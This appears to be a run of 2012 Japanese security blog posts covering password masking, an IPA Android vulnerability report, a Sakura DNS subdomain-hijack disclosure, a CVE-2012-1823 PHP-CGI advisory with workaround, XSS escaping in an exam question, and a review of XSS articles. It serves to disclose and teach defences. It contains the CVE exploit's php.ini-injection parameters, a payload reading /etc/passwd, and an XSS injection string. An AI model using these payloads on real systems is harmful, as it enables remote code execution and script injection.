大変多くの募集をいただきありがとうございます。現時点では、「他の言語は経験があるがPHPは知らない」という方の応募をたくさんいただいております。もちろんそのような方も歓迎ですが、「他の言語も含めてプロクラムは書けない」という方を優先枠として選定させていただきたいと思っております。
プログラムが書けるようになるまでの過程では、多くの困難があると予想されますので、疑問点等については徳丸ができる限りフォローいたします。場合によっては他のレビュアーの方もフォローしてくれるかも知れません。いわば「プログラミング道場」のようなものですね。
以下の条件に当てはまる方を歓迎いたします。
  1. 現時点ではプログラムが書けない(HTMLは書けてもよい)
  2. プログラミングができるようになりたいと強く思っている
  3. 約半年掛けてプログラミングを習得する時間的猶予がある
という方の応募をお待ちしています。また、これ以外の募集についても引き続き行います。

追記(2012/7/18))

昨日選考を終わり、当選の方にはメールで連絡差し上げました。たくさんのご応募ありがとうございました。

2012年6月26日火曜日

COOKPADの「伏せ字にせず入力」ボタンは素晴らしい

@tokuhiromから教えてもらったのですが、COOKPADのスマートフォン向けWebサイトのログインページには、パスワードを「伏せ字にせず入力」するボタンがついているのですね。

さっそく見てみましょう。まずはログイン画面です。パスワード欄の下側に、「伏せ字にせず入力」ボタンが見えます。


まずはこのままでメールアドレスとパスワードを入力してみましょう。デフォルトでは、パスワードは伏せ字になりますね。


ここで「伏せ字にせず入力」のボタンを押すと、入力中のパスワードが表示されます。メールアドレスとパスワードは例ですので、まねしないように。


「元に戻す」ボタンを押すと、伏せ字に戻ります。

僕はこれを知って興奮しました。なぜなら、拙著「体系的に学ぶ 安全なWebアプリケーションの作り方」には以下のように書いたからです(P337~P338)。
パスワード入力欄のマスク表示は、現在の常識的なガイドラインですが、実は筆者自身は疑問を持っています。パスワード入力欄をマスク表示にすると、記号や大文字・小文字交じりの安全なパスワードを入力しにくくなるので、利用者は簡単な(危険な)パスワードを好むようになり、かえって安全性を阻害するリスクの方が大きいのではないかというのがその理由です。
【中略】
パスワード認証の最大の脅威は、インターネット越しの総当たり的な攻撃であり、その対抗策は良質なパスワードを設定することに尽きます。そのため、今後は「パスワードの文字を表示する」チェックボックスを備えるWebサイトが増えるかもしれませんね。ただし、ブラウザのパスワードの自動補完機能により画面表示の初期状態からパスワードが設定されている場合があるので、他人が見ている場でいきなりパスワードが表示されると困ります。このため、「パスワードの文字を表示する」チェックボックスの初期状態はオフになっていることが条件です。
こう書いたものの、同書執筆時には、現物のWebサイトの例を示すことができませんでした(良く探せばあったかもしれません)。COOKPADのスマートフォン向けサイトは、私の予言(?)を完全に満たしていますね。

パスワードの取り扱いについては、「定期的に変更するべきか」、「どう保存すればよいのか」、「入力中のパスワードは表示するべきか」という3大論争(?)がありますが、COOKPADのこの実装は、「パスワードを見せる」先駆的な取り組みと言えそうです。

もっとも、ケータイ(フィーチャーフォン)向けのサイトでは、パスワードを表示させる例は珍しくありませんでした。これは、テンキーでパスワードを入力するのが難しい機種があったからだと思います。いきおい、モバイルバンキングでもパスワード代わりに4桁暗証番号というサイトが珍しくないわけですが、これは本当に本末転倒だと思います。良質なパスワードを利用者につけてもらうことこそが第一優先であって、その次に、入力中のパスワードをのぞき見されない工夫をすべきと考えます。

というわけで、COOKPADの取り組みは素晴らしいと感じました。

追記(2012/06/26 19:10)

つい興奮して手放しの絶賛をしましたが、注意すべき点もあります。この点についてご指摘をいただきました
パスワードフィールドを伏字にしない話、理念としては頷けるのだが、現状で徳丸さんの提案に従ってサイト側で実装するのは考えものかもしれない。問題は2種類ある。ひとつはアクセシビリティ、ひとつは特定環境におけるパスワード漏洩リスクの増大。さらに実装がばらつくことによる実効性の低下も懸念される。やはりこの手の基本的な UI の改良はブラウザ側で行われることが望ましい。【後略】続きを読む
詳しくはkokuboさんのエントリをお読みいただくとして、このような試みは始まったばかりですので、本当にどう実装するのがよいのか、見落としているリスクはないのかという検討が必要だと思います。ご指摘ありがとうございました。

[PR]
安全なWebアプリケーションの作り方DRMフリーのPDFによる電子版もあります。
[PR]
7月5日インフィニテック社のセミナーで基調講演します

2012年6月19日火曜日

IPAからAndroidアプリの脆弱性に関するレポート出ました

「Androidアプリを作っている(作ってもらっている)けど、脆弱性が心配」という声はtwitterでも目にすることがあります。そして、「『安全なウェブサイトの作り方のAndroidアプリ版』があったらいいのに」という希望を目にしたこともあります。
6月13日にIPAから公表された「IPA テクニカルウォッチ『Androidアプリの脆弱性』に関するレポート」は、この『安全なウェブサイトの作り方のAndroidアプリ版』に相当する位置づけのドキュメントです。なぜそう思うかというと、以下の性格が『安全なウェブサイトの作り方』と共通するからです。
  • Androidアプリの基本的な問題に絞っている
  • 届出の多い脆弱性にフォーカスしている
以下、もう少し詳しく紹介します。

Androidアプリの脆弱性とは何か

同レポートでは、Androidアプリの脆弱性を以下のように定義しています(同書P3)。
■ 「脆弱性」
Android OSに備わっている仕組みを”Androidアプリが適切に使用していない”場合、他のアプリが所有しているデータに不正アクセスしたり、他のアプリの権限を不正に使用したりするセキュリティ上の問題が発生する。本書では、このようなセキュリティ上の問題をAndroidアプリにおける脆弱性と位置づけている。
この不正なことを誰が(何が)するかというと、不正なアプリであるわけで、これも以下のように定義されています。
■ 「不正なアプリ」
本書では、他のAndroidアプリの脆弱性を悪用し、他アプリのデータにアクセスしたり、他アプリの権限を不正に使用したりするAndroidアプリを指す。
ということで、要は、「アプリケーションが、Androidに備わっている仕組みを適切に使用していないことが原因で、不正なアプリ(マルウェア)が、アプリのデータに不正にアクセスできる、あるいはアプリの権限を不正に使用できる」状態をAndroidアプリの脆弱性として位置づけています。

では、Androidアプリには他のタイプの脆弱性はないかというと、必ずしもそうではないと思います。例えば、AndroidアプリがSQLiteを使っていて、そこにSQLインジェクション脆弱性がある場合、アプリの脆弱性ですが、「Androidの仕組みを適切に使用していない」ことが原因とは言えません。
このため、同書はAndroidアプリ「固有の」脆弱性にフォーカスして解説しているととらえればよいと思います。その結果、同書は表紙を含めても24ページと大変コンパクトにまとまっています。この薄さは読者にはありがたいですね。

■『Androidの仕組み』とは

Androidに備わっている仕組みを適切に使用しないことで脆弱性が生まれるわけですから、脆弱なAndroidアプリを作ってしまう開発者は、Androidの仕組みを正しく理解していないと推測されます。このため、同書は、2章をAndroidの仕組みの解説にあてています。その中から、「図2-1 Androidの仕組みの動作イメージ」という図を引用します。


「おいおい、これはAndroidの基本そのものではないか。そんなものは知っている」と思われた読者が多いかもしれませんが、現実に、その基本がちゃんと分かっていないために多くの脆弱性が生まれているわけで、分かっているつもりの方でも、もう一度同書でおさらいをしておくと良いのではないでしょうか。

■届出の多い脆弱性

同書の3章は、「IPAに報告されたAndroidアプリの脆弱性」ということで、IPAに届出のあったAndroidアプリの脆弱性42件のうち、31件が「アクセス制限の不備」と分析し、そのうち21件がコンポーネントのアクセス制限の不備、10件がファイルのアクセス制限の不備となっています。ということから、同書は、以下のように分析しています。
これらの設定は、Androidにおいては基本的な設定である。しかし、多くの届出があったという事実から、このAndroid特有の設定内容が開発者に周知できておらず、結果的に、アクセス制限の不備の脆弱性を作り込んでしまっているのではないかとIPAでは推測する。

■脆弱性例の紹介

同書の4章はIPAに届出のあった脆弱性の中から、典型的なものを5種類紹介しています。このような脆弱情報の現物(アプリ名などは伏せてありますが)は中々目にする機会がないので、とても貴重で興味深い内容です。以下に目次を紹介します。
4.1. ファイルのアクセス制限不備の脆弱性
(1) SD カードに機微な情報を保存
(2) ファイルが不正なアプリからアクセス可能
4.2. コンポーネントのアクセス制限不備の脆弱性
(1) 不正なアプリに機能を悪用される
(2) ファイルが不正なアプリからアクセス可能
4.3. ログ出力に関する情報漏えい
(1) 機微な情報をログに出力
4.1と4.2の両方に「(2) ファイルが不正なアプリからアクセス可能」がありますが、4.1はファイルのアクセス許可の問題に起因するもの、4.2はコンテントプロバイダの設定不備に起因する問題です。特に4.2節は、Androidの特徴がよく出ていて興味深い内容だと思います。

■まとめ

「IPA テクニカルウォッチ『Androidアプリの脆弱性』に関するレポート」について紹介しました。既にAndroidアプリの脆弱性については、「Android Security 安全なアプリケーションを作成するために」やJSSECの『Android アプリのセキュア設計・セキュアコーディングガイド』があり、いずれも素晴らしい内容だと思いますが、どちらも「分厚い」もので、Androidアプリのセキュリティ入門としては、少しとっつきにくいという人もおられたと思います。
一方、IPAの「『Androidアプリの脆弱性』に関するレポート」の方は、24ページという薄さと、基本にフォーカスして説明してあるという点で、全てのAndroidアプリ開発者およびAndroidアプリを発注する立場の方に読んでいただきたい内容です。

なお、徳丸はIPA非常勤職員として同書のレビューに参加いたしました。しかし、このエントリは個人の見解として書いているものであり、IPAとしての見解ではありません。

2012年6月14日木曜日

さくらDNSにサブドメインハイジャックを許す脆弱性

さくらインターネット株式会社のDNSサービスにセキュリティ上の問題がありましたが、改修されましたので報告します。
DNSサービスへのドメイン登録時における不具合について 
障害内容 :
当社の提供するネームサーバサービスにおいて、既に登録されているドメインのサブドメインが、他の会員IDの方に登録できる状態となっておりました。この障害により、悪意のある第三者がドメインの一部を乗っとれる脆弱性につながる危険性がありました。
本問題につきましては現在は解消されており、全ての登録について不正がないかの調査を行っております。
この問題の発見者は前野年紀氏で、私はさくらインターネット株式会社に問題を通告し、改修を促すための連絡などでお手伝いをしました。
(12:00追記)なお、この脆弱性が混入したのは6月8日頃で、さくらインターネットは6月11日から修正を開始し、昨日(6月13日)には改修されましたので迅速な対応であったと考えます(追記終わり)。

問題の概要

さくらのレンタルDNSサーバーにおいて、他人(ドメイン名の保有者でない人)が勝手にサブドメインを登録できることが問題でした。 たとえば、架空の会社エグザンプル株式会社がホームページwww.example.jpを運営しており、ドメイン名example.jpをさくらDNSで運用しているとします。この状況で、第三者がexample.jpのサブドメインwww2.example.jpのゾーンを追加し、www2.example.jpのAレコード(IPアドレスの指定)を登録できました。この結果、第三者がwww2.example.jpというサイトを公開できることになります。

勝手にDNSサーバーを立てて他人のサブドメインを登録できることは問題ない

ここからは、問題点を説明するために、本来できてよいこと、できてはまずいことを順に説明します。 まず、第三者が独自のDNSサーバーを立てて、そこに勝手に別人のドメイン名を登録することはできてしまいます。私が運営するDNSサーバーに、google.comやamazon.comやapple.comなどを勝手に設定することできるし、問題にもならないということです。
それが問題にならない理由は、この勝手なDNSサーバーは上位DNSサーバーからgoogle.comなどのドメイン名を委譲されていないので、どこからも参照されないからです。

権威サーバーと同じサーバー上に、他人がサブドメインを登録できることが問題

次に、話を進めるために、以下のシナリオを考えます。
私がもつドメイン名 tokumaru.org の適当な預け先がなく、知り合いのいるエグザンプル株式会社に「御社のDNSサーバーを貸して下さい。そして、tokumaru.orgを設定させて下さい」と頼んだとします。この設定自体は問題がなく、交渉次第では貸してくれるでしょう。
ところが、私が悪い奴で、tokumaru.orgを追加するついでに、www2.example.jpのゾーンも追加したとします。example.jpのゾーンはいじれないので、www2.example.jpは、example.jpから委譲されてはいません。しかし、example.jpとwww2.example.jpは同じDNSサーバー上にあるので、外部からwww2.example.jpを問い合わせると、このDNSサーバーに登録された内容を応答してしまいます。これが問題です。
すなわち、さくらDNSの問題は、「ちょっとDNSサーバー貸して下さい」と頼みながら、そのDNSサーバーに元々設定されているドメイン名のサブドメインが登録できてしまう(チェックされない)ことが問題です。

実験

これだけだと分かりにくいと思うので、実験をしました。 私は元々tokumaru.orgをさくらDNSで運用していました。その状態で、前野年紀氏が徳丸の許可の元、私とは別アカウントでサブドメインqmail.tokumaru.orgの登録を試み、成功しました(この設定は現在はできません)。本稿執筆時点で、qmail.tokumaru.orgは参照可能です。


このドメイン名を外部から問い合わせると以下のような流れになります。

# ネット利用者が qmail.tokumaru.org にアクセスしようとする
# ブラウザがDNSキャッシュサーバーに qmail.tokumaru.org を問い合わせる
# DNSキャッシュサーバーはルートDNSサーバーに qmail.tokumaru.org を問い合わせる

$ dig +norecurse qmail.tokumaru.org @198.41.0.4
;; AUTHORITY SECTION:
org.                    172800  IN      NS      a0.org.afilias-nst.info.
;; ADDITIONAL SECTION:
a0.org.afilias-nst.info. 172800 IN      A       199.19.56.1

# ルートDNSサーバーは、qmail.tokumaru.org は知らないけど
# orgドメインの権威サーバーなら知っているよと、a0.org.afilias-nst.info などを返す
# DNSキャッシュサーバーは、a0.org.afilias-nst.infoにqmail.tokumaru.orgを問い合わせる

$ dig +norecurse qmail.tokumaru.org @199.19.56.1
;; AUTHORITY SECTION:
tokumaru.org.           86400   IN      NS      ns1.dns.ne.jp.

# a0.org.afilias-nst.infoは、tokumaru.orgの権威サーバーはns1.dns.ne.jp(さくらDNS)だよと返す
# DNSキャッシュサーバーはns1.dns.ne.jpのIPアドレスを知らないので、あらためてルートDNSサーバーにns1.dns.ne.jpを問い合わせる

$ dig +norecurse ns1.dns.ne.jp @198.41.0.4
;; AUTHORITY SECTION:
jp.                     172800  IN      NS      a.dns.jp.
;; ADDITIONAL SECTION:
a.dns.jp.               172800  IN      A       203.119.1.1

# ルートDNSサーバーは、jpドメインの権威サーバーがa.dns.jpなどであると返す
# DNSキャッシュサーバーは、ns1.dns.ne.jpをa.dns.jpに問い合わせる

$ dig +norecurse ns1.dns.ne.jp @203.119.1.1
;; AUTHORITY SECTION:
dns.ne.jp.              86400   IN      NS      ns1.dns.ne.jp.
;; ADDITIONAL SECTION:
ns1.dns.ne.jp.          86400   IN      A       210.188.224.9

# ns1.dns.ne.jpのIPアドレスが返ってくる
# DNSキャッシュサーバーは、ns1.dns.ne.jpにqmail.tokumaru.orgを問い合わせる

$ dig +norecurse qmail.tokumaru.org @210.188.224.9
;; ANSWER SECTION:
qmail.tokumaru.org.     3600    IN      A       14.192.44.5

# ns1.dns.ne.jpは、(前野氏が設定した)qmail.tokumaru.orgのIPアドレスを返す
tokumaru.orgの権威サーバーをさくらDNS(ns1.dns.ne.jp)に設定したのは徳丸ですが、その状態で前野氏が、さくらDNSにqmail.tokumaru.orgゾーンを勝手に(実際には徳丸の承認の元)設定したために、結果として qmail.tokumaru.orgを前野氏が有効に設定できたことになります。

影響

この問題の直接の影響は、サブドメインのゾーンを勝手に登録され、AレコードやMXレコードなどを自由に登録されてしまうことですが、その結果として、以下のような影響が考えられます。

自ドメインでのクッキーを勝手にセットさせられる
先ほどのqmail.tokumaru.org上のコンテンツで、やろうと思えば、domain=tokumaru.orgのクッキーをセットすることができます。通常、クッキーは第三者から勝手にセットされることはないので、アプリケーションのクッキー利用方法によっては影響を受ける場合があります。
具体的には、以下の場合に影響を受けます。
  • セッション・フィクセイション脆弱性がある場合
  • クッキーに意味のある文字列を入れている場合
いずれも好まし良くない実装ですが、クッキーを勝手に改変されることはないという想定に依存しているアプリケーションは、潜在的な問題が顕在化します。

フィッシングに悪用される
攻撃者が勝手にwww2.example.jpを設定して独自のコンテンツを作成した場合、フィッシングサイトに悪用することが考えられます。多くのフィッシングサイトは、あきらかに不自然なURL上にあるので、そこが見分けるポイントの1つになりますが、本物のドメイン名のサブドメイン上にフィッシングサイトがあると、だまされる人が増えると考えられます。

成りすましメールアドレスに悪用される
メールアドレスのドメイン名として、mx.example.jpやmail.example.jpなどのサブドメインを使っている企業は珍しくありません。このため、mx.example.jpを勝手に登録して、このドメインのメールアドレスから、偽のメールを出すという悪用が考えられます。やはり本物のドメイン名を使っていることから、「メールアドレスは今後 xxx@mx.exmaple.jpになります」と書いてあれば、だまされる人はかなり多いと予想されます。
通常、送信元のアドレスを偽装することは容易ですが、その場合返信を受け取ることはできません。しかし、サブドメインを悪用すると、返信メールを受け取ることができるので、秘密情報の聞き出しなどにも悪用可能です。

まとめ

さくらDNSの「サブドメインハイジャック」の脆弱性について報告しました。
ドメイン名はインターネットの信頼の基幹となるサービスですので、サブドメインといえども乗っ取られることは極めて危険と考えられます。私自身、さくらDNSの利用者でしたので、他人事ではありません。とりあえず、さくらDNSで運用していたhash-c.co.jpドメインは引っ越しました。tokumaru.orgも時期を見て引っ越そうと思っていますが、この記事のサンプルになっているのでとりあえずそのままにしています。
Webサイトを運営する個人や中小企業にとって、安全なDNSサーバーの確保は頭の痛い問題です。さくらDNSに引っ越す前は、お名前.comのレンタルDNSを使っていましたが、以前長時間サービス停止するというトラブルがあり、私も被害にあいました。
さくら以外のレンタルDNSサーバーを利用している方は、サービス提供元に対して、この種の問題がないか確認するとよいでしょう。

2012年5月7日月曜日

CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823)

CGI環境でPHPを動作させているサイトには、リモートからスクリプト実行を許してしまう脆弱性があります。php.netから提供されている修正リリース(PHP 5.3.12 / PHP 5.4.2)は不完全なため、該当するサイトは至急回避策を導入することを推奨します。

概要

CGIの仕様として、クエリ文字列に等号を含めない場合は、クエリ文字列がCGIスクリプトのコマンドライン引数として指定されます。
例えば、http://example.jp/test.cgi?foo+bar+bazという呼び出しに対しては、test.cgiは以下のコマンドラインで呼び出されます。
test.cgi foo bar baz
この仕様を悪用して、CGI版のPHPにコマンドライン引数としてPHPのオプションを指定できます。例えば、http://example.jp/test.php?-s というリクエストは、-sオプション(スクリプトソースを表示)と解釈され、PHPスクリプトを実行する代わりに、ソースを表示します(下図)。


これはPHPの脆弱性CVE-2012-1823と識別されています。

実証例

CVE-2012-1823の影響はスクリプトソースの表示だけではありません。PHPのオプションを組み合わせることにより、外部から任意のスクリプト実行が可能となります。具体的には、-dオプションを用いて、php.iniのディレクティブを外部から指定できます。metasploitminute.comで紹介されていたExploitを元に、攻撃例を紹介します。以下の2つのphp.iniディレクティブを指定します。
allow_url_include=On
auto_prepend_file=php://input
最初のディレクティブは、includeするファイルをURL指定でリモートから読み出すことを許可するものです。2番目のディレクティブは、PHP実行に先立ち、スクリプトをincludeしておくものですが、ファイル名としてphp://inputを指定しているため、POSTパラメータとして送信した内容をPHPスクリプトとして実行します。両者の組み合わせにより、外部から指定したスクリプトを実行することができます。
BurpSuiteのrepeater機能を用いて上記Exploitを実行した例を以下に示します。


readfile('/etc/passwd');により、/etc/passwdファイルが表示されています。また、X-Powered-Byヘッダから分かるように、上記はPHP5.4.2で実行されており、改修が不完全であることが分かります。

影響

外部からスクリプト実行が可能であることから、機密性・完全性・可用性の全てで大きな影響があります。影響を受けるサイト(下記)は至急の対策を推奨します。

影響を受けるサイト

当脆弱性の影響は、PHPをCGIとして実行しているサイトに限られます。
ApacheモジュールやFastCGIとしてPHPを実行しているサイトには影響ありません。

回避策

当脆弱性の対策としては、ApacheモジュールまたはFastCGIへの移行を推奨します。

どうしてもCGIのままにしなければならない場合は、php-cgiを呼び出すラッパー(/cgi-bin/php-wrapper)を以下のように記述します。実行権限を付与してください。php-cgiにはコマンドライン引数を渡さないところがポイントです。
#!/bin/sh
exec /usr/local/bin/php-cgi
PHPの設定を以下のように変更します。/cgi-bin/ディレクトリにphp-cgi(CGI版PHP)がコピーしてある場合は削除してください。
AddHandler application/x-httpd-php5 .php
Action application/x-httpd-php5 /cgi-bin/php-wrapper
すると、php-cgiにパラメータが渡されなくなることから、CVE-2012-1823の影響を回避することができます。php-cgiにコマンドライン引数を渡さなくてもPHPの実行に支障ありません。

参考


注記

当脆弱性は極めて影響が大きい反面、影響を受けるサイトは限られます。
当脆弱性が判明した時期が、日本の連休中にあたっていたため、対策に必要な最低限の情報のみ提供しておりましたが、海外では攻撃のための情報が流通し始めており、かつ日本での連休が明けたことから、詳細情報を公開しました。

[PR]HASHコンサルティングが提供するセキュリティ情報メールマガジン(無料)

2012年4月16日月曜日

情報処理試験問題に学ぶJavaScriptのXSS対策

平成24年度春期の情報処理技術者試験の問題と解答(一部)が公開されていますね。情報セキュリティスペシャリスト試験(SC)の午後Ⅰ(全4問中2問を選択)では、問1と問2がWebアプリケーションに関する問題でした。このエントリでは問1について書きます。

問1は、インターネット通販A社のサイトで脆弱性検査を実施したところ、指摘事項2点が報告されたところから始まります。

指摘事項A:画面の遷移の中で、暗号化通信と非暗号化通信が混在しているが、暗号化通信でだけ使用されるべきクッキーに、(   a   )属性が設定されていないページが存在する。
指摘事項B:任意のスクリプトが実行可能であるページが存在する。

指摘事項A中の(a)は、他を見なくても「セキュア」属性だと分かりますね。徳丸本(体系的に学ぶ 安全なWebアプリケーションの作り方)では、4.8.2クッキーのセキュア属性不備(P209)に説明があります。

指摘事項Bは、ここだけ読むと、XSSのようでもあり、サーバーサイドのスクリプトインジェクションのようでもありますが、検査ログからXSSであることがわかります(下図はIPAからの引用)。XSSは、徳丸本4.3.1クロスサイトスクリプティング(基本編)と4.3.2クロスサイトスクリプティング(発展編)にて説明しています。


ここまでは、ごく基本的な問題ですが、問題文P6に出てくる以下の部分は、少しだけひねってますね。
このプログラムは、利用者が入力した文字列をダイアログに表示するために、受け取ったパラメタの値をスクリプトに埋め込み、動的にスクリプトを生成する。図4の(   c    )行目では、通常のHTMLにパラメタの値を埋め込むときと同じ方法でエスケープ処理を行っていたことから、生成されるスクリプトに問題が生じてしまうことが分かった。
JavaScriptの文字列リテラルにパラメータを埋め込んでいる箇所を探すと、37行目であることが分かります。
37:  out.println("<a name=\"#\" onclick= \"alert('" + escape(word) + "')\">");
これは、徳丸本では、◆イベントハンドラのXSS(P109)に説明がある内容です。
イベントハンドラのJavaScript文字列リテラルの中味を動的生成する場合は、徳丸本P110に説明するように、二段階でエスケープしなければなりません。

①まず、データをJavaScript文字列リテラルとしてエスケープする
②この結果HTMLエスケープする

情報処理試験の問題文もそうなっていますが、問題はエスケープする文字です。徳丸本では、最低限エスケープが必要な文字として以下の4種を挙げています。


これに対して、情報処理試験の問題文では、エスケープすべき文字を2種類に限定しています。従って、上記4文字から2文字を除外する必要があります。
まず除外できるのがダブルクォート「"」です。JavaScriptの文字列リテラルは、シングルクォートでもダブルクォートでも囲むことができるので、両方の場合に対応する前提では、両方の引用符をエスケープする必要があります。しかし、この問題では、シングルクォートで文字列を囲っていることが分かっているので、ダブルクォートの方は、エスケープ対象から除外することができます。
残り3文字のうち、シングルクォート「'」とバックスラッシュ「\」はエスケープしないとXSS脆弱性となるので、この2文字が解答でしょうね。

なお、バックスラッシュのエスケープを怠ると、以下の文字列で攻撃が可能です。
\');alert("XSS");//
この場合、シングルクォートのみがエスケープされると、生成されるJavaScriptは下記となります。
alert('\\');alert("XSS");//')
攻撃文字列先頭の「\」と、シングルクォートのエスケープの「\」があわせて「\」一文字と解釈され、後続のシングルクォートがエスケープされない状態で余ります。このため、文字列リテラルが終端され、その後ろはJavaScriptのコマンドとして解釈されます。すなわち、スクリプトのインジェクションができたことになります。

一方、改行については、エスケープしなくても上記のような攻撃には至りませんが、JavaScriptのエラーにはなります。また、JavaScriptの文字列リテラルの引用符をシングルクォートで統一しているプロジェクトはマレだと思われるので、徳丸本の基準に従うのが実務上はよいと思います。あくまで、テストとして、エスケープの原理を理解していることを問う問題と考えるべきでしょう。

twitter等でたまに「情報処理試験対策のために徳丸本読んでる」等のツイートを見かけることがありますが、私は「試験対策になるのだろうか」と思っておりました。この問題を見る限り、情報セキュリティスペシャリスト試験(SC)の対策になる場合もありそうですね。但し、今回引用していませんが、実際に攻撃があったかどうかをログから判定する問題など、徳丸本の知識だけでは解答出来ないものも当然あります。

追記(2012/04/30)

水無月ばけらさんから指摘がありました。「平成24年度春期情報セキュリティスペシャリスト試験のXSS問題
  • 「このコードに限定した話」という仮定を置かない場合、escape2は単引用符、バックスラッシュ、改行に加え、二重引用符などもエスケープする必要があるかもしれない。
  • 「このコードに限定した話」と仮定し、かつ「不具合なく動作する」ことを想定した場合、escape2は単引用符、バックスラッシュ、改行をエスケープする必要がある。
  • 「このコードに限定した話」かつ「攻撃さえ防げれば良く、不具合があっても良い」と想定した場合、escape2は少なくとも単引用符をエスケープする必要がある。
    • 単引用符を「\'」にエスケープすれば、バックスラッシュのエスケープも必須になる
    • 単引用符を「\u0027」にエスケープすれば、バックスラッシュのエスケープは必要ないかもしれない (見落としがある? 突破できる?)
たしかにそうですね。
ということは、上記に指摘した解以外に、複数の解が正答になってしまうということで、問題としてはよろしくない、ということになります。この問題については全員を正解とするか、理論的に正答と見なせる解(何種類かありそうですが)を全て正答にする、という対処が必要になりそうです。IPAとしてはどうするのでしょうか。

追記(2012/06/08)

IPAから正答が公開されました。これを読むと、設問3(2)はやはりシングルクォートとバックスラッシュのエスケープを想定正解としていますね。\u0027にエスケープするとした人はいなかったのでしょうか。

[PR]
WAF始めました。詳しくはHASHコンサルティング株式会社まで。
安全なWebアプリケーションの作り方DRMフリーのPDFによる電子版もあります。

2012年4月11日水曜日

「クロスサイトスクリプティング対策」でGoogle検索して上位15記事を検証した

昨年の11月にブログエントリ『「SQLインジェクション対策」でGoogle検索して上位15記事を検証した』という記事を書いたところ、非常に好評で、「次はXSSについて書いてください」という要望をいただいておりました。中々XSSについては手がついておりませんでしたが、ようやく書いてみました。以下のURLで検索した結果の上位15位の記事を検証しました。
検索結果は変動するため、私が検索した際の結果をEvernoteの公開ノートとして記録しています。
記事の「正しさ」の検証基準としては、IPAの「安全なウェブサイトの作り方改訂第5版」を参考に、最低限として以下が記述されているかどうかを確認しました。
  • HTMLのエスケープ処理を行う
  • 属性値はダブルクォートで囲む
  • レスポンスヘッダのContent-Typeフィールドに文字コード(charset)の指定を行う
それでは始めます。

1位 クロスサイトスクリプティング対策の基本(前編)

Webアプリケーションセキュリティの大御所、国分裕さんの記事です。2002年11月なので約10年前の記事ですね。当時としては素晴らしい内容ですが、サニタイジングという用語の使い方など、さすがに現在初心者が読むにはふさわしくないでしょう。また、レスポンスヘッダに文字コード(文字エンコーディング)を指定するという説明はありません。
さらに、この記事では、現在ではHTTPヘッダインジェクション、あるいはHTTPレスポンス分割などと呼ばれる攻撃手法もXSSの一種として説明しています。当時は、HTTPヘッダインジェクションの解説はほとんどなかったので貴重な内容だったと思いますが、現在はXSSとHTTPヘッダインジェクションは別の脆弱性として分類することが一般的だと思います。

2位 クロスサイトスクリプティング

Wikipediaの解説です。
概ね正しい内容ですが、辞書的な書き方で、初心者が参考にするには読みにくい内容です。ここでも、文字エンコーディングについての言及はありません。

3位 第5回 クロスサイト・スクリプティング対策も忘れずに

徳丸の記事です。
この記事は、SQLインジェクションの改ざん対策の補助的な対策として書かれた内容ですので、XSS対策単体として読むと不十分な内容です。

4位 [1-2.]クロスサイトスクリプティング

セキュアプログラミング講座(旧版)の記事です。旧版の方が検索結果の上位にくるのですね。
内容は概ね正確ですが、「サニタイジング」という用語の使い方など、古さを感じます。さらに、文字エンコーディングの指定についても言及がありません。
古い記事を敢えて読む理由はないでしょう。

5位 クロスサイトスクリプティングの対策について|OKWave

OKWaveでのQ&Aの記事です。2002年の内容で、回答者は国分さんの記事(#1)を参照しています。この例に限らず、質問サイトのやりとは検索結果の上位にくることが多いようですが、必ずしも正確な回答でないので、参照する人は注意が必要です。
この記事も、現時点で参考にする必要はないでしょう。

6位 第8回 クロスサイトスクリプティング対策の落とし穴

大垣さんの記事です。「落とし穴」とあるように、基本的な対策を説明したものではありません。
また、細部を確認してみると、ミスが目立ちます。

(1)ereg_replaceの使い方の間違い
ereg_replaceの引数の順番が違います。

誤: $safe_text = ereg_replace($_GET['text'], '[<>]', '');
正: $safe_text = ereg_replace('[<>]', '', $_GET['text']);

(2)悪い例の選択が良くない
「しかし,javascript文字列がなくてもブラウザがJavaScriptと認識してしまうケースは多数あります。」と指摘した上で、「javascript以外でJavaScriptと認識する文字列」を説明していますが、元の例がonmouseoverイベントでの説明ですので、javascript:はそもそも不要です(後の方で説明されています)。javascript:スキームの例を示すのであれば、onmouseoverイベントではなく、a要素のhref属性に突っ込む例を示すべきでしょう。

(3)typo
また、以下のonmouseorverはonmouseoverのtypoでしょう。
<b onmouseorver="alert('XSS')">XSS</b>
また、読者は、「どうやってb要素にonmouseover属性を突っ込む攻撃ができるんだろう?」と悩んでしまいそうです。通常あり得ないシナリオで説明すると、余計なところで読者に負担を掛けます。

ということで、元々初心者向きでないことと、記事のクォリティが低いという問題があります。

7位 PHP と Web アプリケーションのセキュリティについてのメモ

小邨孝明さんの記事です。小邨さんは徳丸本のレビュアーのお一人で、同書執筆時にずいぶんとお世話になりました。
この記事は、PHPアプリケーションのセキュリティに関わるものにとっては必読です。特に、PHP固有の問題については、他の記事からは得られない貴重な内容が書かれています。XSSについても必要な内容がコンパクトにまとめられています。
また、小邨さんのブログもPHPのセキュリティの重要な情報源です。関係者は過去記事を一通り読んでおきましょう。

8位 配列データを一気にクロスサイトスクリプティング対策する関数(php)

入力データをあらかじめHTMLエスケープしてしまう関数が紹介されていますが、このような方法は現在では否定されています。
その理由は、プログラムの内部でHTMLエスケープ済みのデータを扱うことになり、生データが必要な場合に、一々アンエスケープしなければならず、却って煩雑になるからです。結果として、多重エスケープの問題が生じたり、エスケープもれ(すなわちXSS)が生じる原因になります。

しかしながら、PHPではこのような好ましくない書き方がかなり普及してしまっているような気がします。私がそう思う根拠は、PHPには、htmlspecialchars関数の第4引数(double_encode: 二重エスケープをしない指定)やhtmlspecialchars_ decode関数(アンエスケープ用関数)が用意されていることです。表示の際にHTMLエスケープするという標準的な書き方をする限り、これらの機能は必要ありませんし、PHP以外の言語では見かけない機能です。

あらかじめHTMLエスケープしておくという書き方は、PHPのマジッククオートと似た考え方と言えます。ご存じの通り、マジッククォートとは主にSQLインジェクション対策として、あらかじめ入力値のシングルクォートやバックスラッシュをエスケープしておくものですが、SQLインジェクション対策としては不完全である上に、多重エスケープなど副作用が大きく、PHP5.4では廃止されました。

ということで、無精をせずに、必要な都度HTMLエスケープするようにしましょう。あるいは、表示の際に自動的にHTMLエスケープしてくれるフレームワークを使いましょう。

9位 クロスサイトスクリプティング対策としてやるべき5つのこと

いかにもなタイトルですが、「5つのこと」として以下が推奨されいます。
  1. <>"&は文字参照にする
  2. Javascriptに動的に文字列を渡す時はURLエンコードする
  3. hrefやsrcの値がURLか確認する
  4. php.iniでsession.cookie_httponly=on
  5. httpd.confでTraceEnable Off
